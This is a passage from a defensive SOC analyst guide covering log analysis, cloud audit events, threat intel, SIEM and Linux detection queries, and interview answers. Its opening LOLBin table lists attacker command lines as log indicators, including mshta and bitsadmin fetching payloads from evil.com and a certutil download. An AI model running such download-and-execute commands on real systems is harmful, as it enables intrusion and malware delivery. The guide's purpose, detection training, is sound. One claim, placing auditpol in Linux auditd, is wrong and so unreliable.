Tool (LOLBin) Legitimate Use Attacker Abuse Log Indicator powershell.exe Administration Download/exec payloads Encoded commands, -exec bypass, IEX certutil.exe Certificate management Download files, decode base64 certutil -urlcache -f http://... wmic.exe WMI management Remote code execution wmic /node:REMOTE process call create mshta.exe HTA application host Execute malicious HTA mshta http://evil.com/payload.hta regsvr32.exe Register COM objects Execute scripts via scrobj.dll regsvr32 /s /n /u /i:http://... scrobj.dll bitsadmin.exe Background transfer Download malware silently bitsadmin /transfer job http://evil.com rundll32.exe Load DLLs Execute malicious DLLs rundll32 evil.dll,EntryPoint schtasks.exe Task scheduling Persistence schtasks /create /sc minute /tr evil.exe net.exe / net1.exe Network/user management Recon and lateral movement net user /domain, net localgroup administrators

25. Memory and Process Injection Artifacts in Logs

Injection Type Sysmon Indicator Security Log Indicator CreateRemoteThread EID8: SourceImage does not equal TargetImage 4688: Unexpected thread in process Process Hollowing EID25 (Tampering) or EID1 + EID5 rapid sequence Legitimate process with wrong hash DLL Injection EID7: DLL loaded from temp/unusual path , Reflective DLL Injection No EID7 (no disk write) but EID3 from legit process , APC Injection EID8 from NtQueueApcThread , Atom Bombing EID13 registry atom table write ,

26. Log Tampering and Anti-Forensics

Sophisticated attackers clear logs to hide their tracks. Knowing what to look for in the gaps is just as important as reading the logs themselves.

EventID 1102 means the security audit log was cleared. This is extremely suspicious. Who cleared it and when? EventID 1100 means the event logging service was shut down, this often happens right before a log clear. EventID 104 in the System log means the System log was cleared.

Also watch for timestamp gaps. A 2-hour gap in otherwise continuous logs means possible clearing. Sysmon EID2 means a file creation time was changed, which is timestomping. The command wevtutil cl Security appearing in Sysmon process logs is a direct command-line log clear. auditpol /clear in Linux auditd means the audit policy was disabled. And if a domain controller stops sending logs entirely, treat that as an incident immediately.

Part VI: Cloud Log Analysis

27. AWS CloudTrail Analysis

CloudTrail records every API call made in your AWS account. It's your primary source for cloud threat detection.

High-priority CloudTrail events to watch:

Event Name What It Means Why It Matters ConsoleLogin with failure Failed AWS console login Brute force / credential stuffing ConsoleLogin from new IP/region Login from unusual location Potential account compromise CreateUser / CreateAccessKey New IAM entity created Backdoor persistence PutBucketPolicy S3 bucket policy changed Potential data exposure DeleteTrail CloudTrail logging disabled Attacker covering tracks, critical StopLogging CloudTrail stopped Same as above RunInstances EC2 instance launched Cryptomining, pivot host, C2 infra AuthorizeSecurityGroupIngress Firewall rule opened Attacker opening backdoor access AssumeRole with unusual source Role assumed from unexpected entity Privilege escalation in cloud GetSecretValue Secrets Manager accessed Credential or API key theft

{
  "eventTime": "2024-10-15T08:23:11Z",
  "eventSource": "iam.amazonaws.com",
  "eventName": "CreateAccessKey",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "devops-svc",
    "arn": "arn:aws:iam::123456789012:user/devops-svc"
  },
  "sourceIPAddress": "185.220.101.5",
  "requestParameters": {
    "userName": "new-backdoor-user"
  },
  "responseElements": {
    "accessKey": {
      "accessKeyId": "AKIAIOSFODNN7EXAMPLE",
      "status": "Active"
    }
  }
}

This is a compromised IAM user creating a backdoor credential for a different user from an external IP. That combination is a clear alert.

28. Azure / Microsoft Sentinel Log Analysis

Key Azure AD sign-in log fields:

{
  "createdDateTime": "2024-10-15T08:23:11Z",
  "userDisplayName": "John Smith",
  "userPrincipalName": "jsmith@corp.com",
  "ipAddress": "185.220.101.5",
  "location": { "city": "Moscow", "countryOrRegion": "RU" },
  "status": { "errorCode": 50126, "failureReason": "Invalid username or password" },
  "riskState": "atRisk",
  "riskLevelDuringSignIn": "high",
  "conditionalAccessStatus": "failure"
}

Azure AD error codes to know:

Error Code Meaning Analyst Action 50126 Invalid username or password Brute force indicator 50053 Account locked Brute force victim 50055 Password expired Check for lateral movement before expiry 50057 Account disabled Check if threat actor previously enabled it 50074 MFA required but not completed MFA fatigue/bypass attempt 70011 Invalid OAuth scope Possible OAuth app abuse 135010 Suspicious sign-in properties Risk-based CA flagged this

29. GCP Cloud Audit Logs

Google Cloud Audit Logs come in three types: Admin Activity Logs for configuration changes (always on and free), Data Access Logs for reading/writing data (must be enabled), and System Event Logs for GCP-generated events.

High-priority GCP events:

setIamPolicy          → IAM permissions changed, privilege escalation
CreateServiceAccount  → New service account created, backdoor
DeleteBucket          → Storage bucket deleted, data destruction
CreateSink            → New log export, attacker exfiltrating logs
DisableService        → API service disabled, defense evasion
UpdateInstance        → VM instance modified, possible code execution

Part VII: Threat Intelligence Integration

30. Integrating Threat Intel Into Log Analysis

Every time you encounter an external IP, domain, or file hash in a log, you should be enriching it against threat intelligence. This is what turns a suspicious IP into a confirmed attacker.

Free public intel feeds:

Source What It Provides URL VirusTotal File hash, URL, IP reputation virustotal.com Shodan IP/host exposure, open ports shodan.io AbuseIPDB IP abuse reports and history abuseipdb.com Greynoise Mass-scan noise vs targeted attacks greynoise.io ThreatFox (Abuse.ch) IOCs: IPs, domains, hashes, URLs threatfox.abuse.ch URLhaus Malicious URL database urlhaus.abuse.ch MalwareBazaar Malware hash database bazaar.abuse.ch MISP Threat sharing platform (self-hosted) misp-project.org AlienVault OTX Community threat pulses otx.alienvault.com IBM X-Force IP/URL/malware intel exchange.xforce.ibmcloud.com

When pivoting in an investigation, always check these IOC types:

For an IP address, run it through AbuseIPDB, GreyNoise, and Shodan. For a domain, hit VirusTotal, passive DNS, and check the WHOIS registration date. For a file hash, use VirusTotal and MalwareBazaar. For a URL, try URLhaus and VirusTotal. For an email sender, check MX records, SPF/DKIM, and domain age.

The question that defines good intel work: Is this IP or domain uniquely targeting us, or is it scanning the whole internet?

GreyNoise is great for this. If it tags an IP as "internet background noise," that's a scanner hitting everyone, still worth blocking, but probably not an APT. If GreyNoise has never seen that IP before, that's a targeted attack indicator and it changes your whole response posture.

31. IOC Scoring Framework

Indicator Type Confidence Volatility Priority File Hash (SHA256) Very High Low, doesn't change Use for pivot, confirm malware Mutex / Named Pipe High Low Rare but reliable, specific malware family C2 Domain High Medium, rotates over weeks/months Block immediately, monitor C2 IP Address Medium High, rotates daily Block and log for context User-Agent String Medium Medium Useful pattern but can be spoofed Behavioural Pattern Very High Low Best for hunting: TTPs don't change like IOCs

Stop chasing IPs. Start chasing TTPs. IPs rotate. The way an attacker operates, their tools, their sequences, their targets, stays consistent across campaigns. That's what MITRE ATT&CK helps you track.

Part VIII: Tools and Practical Skills

32. SIEM Query Language Essentials

32.1 Splunk SPL: Key Queries

# Detect Brute Force (more than 10 failures in 5 minutes)
index=windows EventCode=4625
| bin _time span=5m
| stats count by _time, src_ip, TargetUserName
| where count > 10
| sort - count
# Detect PowerShell Encoded Commands
index=windows EventCode=4688 OR EventCode=1
CommandLine="* -enc *" OR CommandLine="* -EncodedCommand *"
| table _time, host, ParentCommandLine, CommandLine, User
| sort -_time
# DNS Tunneling Detection
index=dns
| eval query_len=len(query)
| where query_len > 50
| stats count avg(query_len) by src_ip, domain
| where count > 100
| sort -count
# Detect Lateral Movement via SMB
index=windows EventCode=4624 LogonType=3
| stats count by src_ip, dest_host, Account_Name
| where count > 3
| sort -count
# Hunt for LSASS Access
index=sysmon EventCode=10 TargetImage="*lsass.exe"
| eval suspicious_access=if(match(GrantedAccess, "0x1fffff|0x1010|0x410"), "YES", "NO")
| where suspicious_access="YES"
| table _time, host, SourceImage, GrantedAccess

32.2 Microsoft KQL (Sentinel / Defender)

// Failed Logons Spray Detection
SecurityEvent
| where EventID == 4625
| where TimeGenerated > ago(1h)
| summarize FailCount=count(), Users=dcount(TargetUserName) by IpAddress
| where Users > 5 and FailCount > 20
| order by FailCount desc
// Suspicious Process Execution (Office spawning shells)
DeviceProcessEvents
| where FileName in ('cmd.exe','powershell.exe','wscript.exe','mshta.exe')
| where InitiatingProcessFileName in ('winword.exe','excel.exe','outlook.exe')
| project Timestamp, DeviceName, AccountName, FileName,
          ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
// Impossible Travel Detection
SigninLogs
| where ResultType == 0
| summarize Locations=makeset(Location), IPAddresses=makeset(IPAddress)
            by UserPrincipalName, bin(TimeGenerated, 1h)
| where array_length(Locations) > 1
// Kerberoasting Detection
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| summarize RequestCount=count(), TargetSPNs=makeset(ServiceName)
            by AccountName, IpAddress
| where RequestCount > 5
| order by RequestCount desc

32.3 QRadar AQL

-- Detect Brute Force
SELECT sourceip, destinationip, username, COUNT(*) as attempts
FROM events
WHERE QIDNAME(qid) ILIKE '%failed logon%'
  AND devicetype = 12
  AND starttime > NOW() - 300000
GROUP BY sourceip, destinationip, username
HAVING attempts > 10
ORDER BY attempts DESC
-- Detect Outbound DNS Tunneling
SELECT sourceip, destinationip, payload, strlen(payload) as plen
FROM flows
WHERE destinationport = 53
  AND strlen(payload) > 100
ORDER BY plen DESC
LAST 1 HOURS

33. Linux CLI Log Analysis Commands

# Count failed SSH attempts by IP (top 20)
grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -20
# Extract all successful SSH logins
grep 'Accepted' /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'
# Show all unique IPs hitting Apache in last 1000 lines
tail -1000 /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -rn
# Find web requests returning HTTP 500 errors
grep "HTTP/1" /var/log/nginx/access.log | awk '$9~/^5/{print $1,$7,$9}'
# Watch live log for new entries
tail -f /var/log/syslog | grep --line-buffered 'WARN\|ERROR\|CRIT'
# Find all commands run by a specific user via sudo
grep 'sudo.*CMD' /var/log/auth.log | grep 'username'
# Extract IPs from firewall logs and check against threat feed
grep 'DENY' /var/log/ufw.log | grep -oP '(?<=SRC=)[0-9.]+' | sort -u > suspect_ips.txt
# Parse JSON logs with jq (CloudTrail, modern apps)
cat cloudtrail.json | jq '.Records[] | select(.eventName == "ConsoleLogin") | {time: .eventTime, user: .userIdentity.userName, ip: .sourceIPAddress, result: .responseElements.ConsoleLogin}'
# Find large file transfers in Apache logs
awk '$10 > 1000000 {print $1,$7,$10}' /var/log/apache2/access.log | sort -k3 -rn | head -20
# Detect port scanning in firewall logs
grep 'DENY' /var/log/ufw.log | awk '{print $12}' | grep -oP '(?<=SRC=)[0-9.]+' | sort | uniq -c | sort -rn | head -10

34. Regular Expressions for Log Parsing

Pattern Regex Matches IPv4 Address \b(?:\d{1,3}\.){3}\d{1,3}\b 192.168.1.1, 10.0.0.1 IPv6 Address (?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4} Full IPv6 address MAC Address (?:[0-9a-fA-F]{2}[:\-]){5}[0-9a-fA-F]{2} AA:BB:CC:DD:EE:FF ISO Timestamp \d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2} 2024-10-15T08:23:11 Syslog Timestamp [A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2} Oct 15 08:23:11 Windows EventID EventID[=: ]+(\d+) Extract event ID URL https?://[^\s\"'<>]+ http:// and https:// URLs Email Address [a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,} user@domain.com MD5 Hash \b[a-fA-F0-9]{32}\b 32-char hex string SHA256 Hash \b[a-fA-F0-9]{64}\b 64-char hex string Windows Path [A-Za-z]:\$?:[^\\/:*?"<>|\r\n]+\$*[^\\/:*?"<>|\r\n]* C:\Windows\System32\cmd.exe Port Number (?:port|dpt|spt)[=: ]+(\d{1,5}) Extract port from log fields Base64 String [A-Za-z0-9+/]{30,}={0,2} Potential encoded command

35. Quick Reference: Top 30 Windows Event IDs

EventID Log Event Name Priority 1102 Security Audit Log Cleared CRITICAL 4624 Security Successful Logon HIGH 4625 Security Failed Logon HIGH 4648 Security Explicit Credentials (runas) HIGH 4663 Security Object Access Attempt MED 4672 Security Special Priv Assigned HIGH 4688 Security Process Created HIGH 4697 Security Service Installed HIGH 4698 Security Scheduled Task Created HIGH 4720 Security User Account Created HIGH 4726 Security User Account Deleted MED 4732 Security User Added to Local Group HIGH 4740 Security Account Locked Out MED 4768 Security Kerberos TGT Request MED 4769 Security Kerberos Service Ticket HIGH 4771 Security Kerberos Pre-auth Failed HIGH 4776 Security NTLM Auth Validated HIGH 7045 System New Service Installed HIGH 1 Sysmon Process Creation CRITICAL 3 Sysmon Network Connection HIGH 7 Sysmon Image Loaded (DLL) HIGH 8 Sysmon CreateRemoteThread CRITICAL 10 Sysmon ProcessAccess LSASS CRITICAL 11 Sysmon File Created HIGH 12/13 Sysmon Registry Event HIGH 15 Sysmon File ADS Created MED 17/18 Sysmon Named Pipe HIGH 22 Sysmon DNS Query by Process HIGH 25 Sysmon Process Tampering CRITICAL 1100 Security Event Log Service Shutdown HIGH

Part IX: Interview Scenarios and Model Answers

Study these until you can deliver them naturally in conversation. These are the questions that come up most often in SOC L1 and L2 interviews.

Q: What is the first thing you do when you receive an alert?

Read the full alert details, what rule triggered it, which asset is involved, and the timestamp. Then pull the raw log and read every field, not just the message. Look at five events before and after. Check whether the asset is high-value, whether the activity makes sense at that time of day, and whether there's a matching change ticket. Only then do I decide true positive or false positive.

Q: How do you distinguish a brute force from a password spray?

In a brute force, one IP hammers many passwords against one account. You see EventID 4625 for the same TargetUserName repeating, and the account often locks out via EventID 4740. In a password spray, one IP tries one password across many accounts, you see EventID 4625 with SubStatus 0xC000006A for different TargetUserNames in a short window. The spray deliberately avoids lockout thresholds by staying under the attempt limit per account.

Q: What is Pass-the-Hash and how would you detect it?

Pass-the-Hash uses the NTLM hash directly instead of a plaintext password. Detection: EventID 4624 with LogonType=3 and AuthPackage=NTLM from unexpected source hosts. EventID 4776 where the source workstation doesn't match the user's physical location. Sysmon EID10 (LSASS access) often precedes it, that's where the hash was stolen.

Q: A user reports their PC is slow. How do you investigate it as a potential compromise?

Start with EDR/Sysmon logs for that endpoint, process creation events for unusual processes, especially anything with encoded commands, running from temp folders, or with suspicious parent-child relationships. Check network connections (EID3) for unexpected outbound traffic. Check DNS logs for DGA-like lookups. Review firewall logs for connections to unknown external IPs. If there's a suspicious process, capture the hash, check VirusTotal, and escalate to L2 if it looks malicious.

Q: How do you identify DNS tunneling in logs?

Subdomain labels over 50 characters are the classic indicator. A high query rate to one domain from a single host, potentially hundreds per hour, also stands out. Unusual record types from workstations like TXT, NULL, or MX queries suggest tunneling. Domain names that look like base64 or hex encoding are a red flag. I'd build a SIEM query for DNS query length and per-host frequency to surface anything above baseline.

Q: What does EventID 4768 vs 4769 vs 4771 mean?

4768 is the AS-REQ, the client's initial Kerberos request for a Ticket-Granting Ticket. 4769 is the TGS-REQ, a request for a service ticket using that TGT. That's what Kerberoasting looks like in logs: many 4769 events from a single account targeting different SPNs, often with RC4 encryption (TicketEncryptionType=0x17). 4771 is Kerberos pre-auth failure, like 4625 for NTLM but for Kerberos. A pattern of 4771s across many accounts is a Kerberos password spray.

Q: What is the MITRE ATT&CK framework and how do you use it?

ATT&CK is a knowledge base of adversary tactics, techniques, and procedures built from real-world observations. In the SOC I use it to map log evidence to specific techniques: LSASS access maps to T1003.001, for instance. This helps me understand the attacker's likely next move, write better detection rules, and structure incident reports in a way that communicates clearly. For threat hunting, ATT&CK helps me build hypotheses about techniques we're not currently detecting in our environment.

Q: What's the difference between an IDS and an IPS?

An IDS detects and alerts on malicious traffic but doesn't block it. An IPS sits inline and can block traffic in real time. In log analysis this distinction matters because an IDS alert with action=allowed doesn't mean the attack was stopped, the traffic went through even though the alert fired. That's a common confusion point for L1 analysts.

Q: How would you handle an alert for unusual data volume leaving the network?

Identify source and destination, which internal host, which external IP, what port and protocol. Check the byte ratio between bytes_sent and bytes_recv, exfil usually shows far more going out than coming in. Check the time of day and whether it's in normal business hours for that user. Pivot the destination IP in threat intel. Check if it's a known cloud storage provider. Use EDR logs to find which process on the endpoint was responsible. If it looks like unauthorized exfiltration, isolate the host and escalate immediately with a documented timeline.

Q: What is Kerberoasting?

Kerberoasting is when an attacker requests Kerberos service tickets (TGS) for service accounts and then cracks them offline. In logs it appears as many EventID 4769 events from one user account requesting tickets for multiple SPNs, often with TicketEncryptionType=0x17 (RC4-HMAC) rather than AES. The key thing is that any authenticated domain user can request these tickets, no elevated privileges required, which is what makes it so effective.

A Final Word

There's a reason experienced analysts always say "read more logs." Not because it's exciting work. It isn't. But there's no shortcut to pattern recognition, and the faster you can pull meaning from a raw log line, the faster you catch attacks before they become incidents.

The analysts who actually stand out in this field aren't the ones with the most certifications or the longest list of tools. They're the ones who can look at a stream of raw text and see what everyone else scrolled past.

Keep a lab environment running. Work through real log scenarios on TryHackMe, LetsDefend, and CyberDefenders. Every hands-on scenario you complete builds the mental library you'll draw from when something real happens.

Stay curious. Stay consistent. Keep reading logs.

All log samples in this article are representative examples constructed for educational purposes.

#infosec #cybersecurity #soc-analyst #hacking #blue-team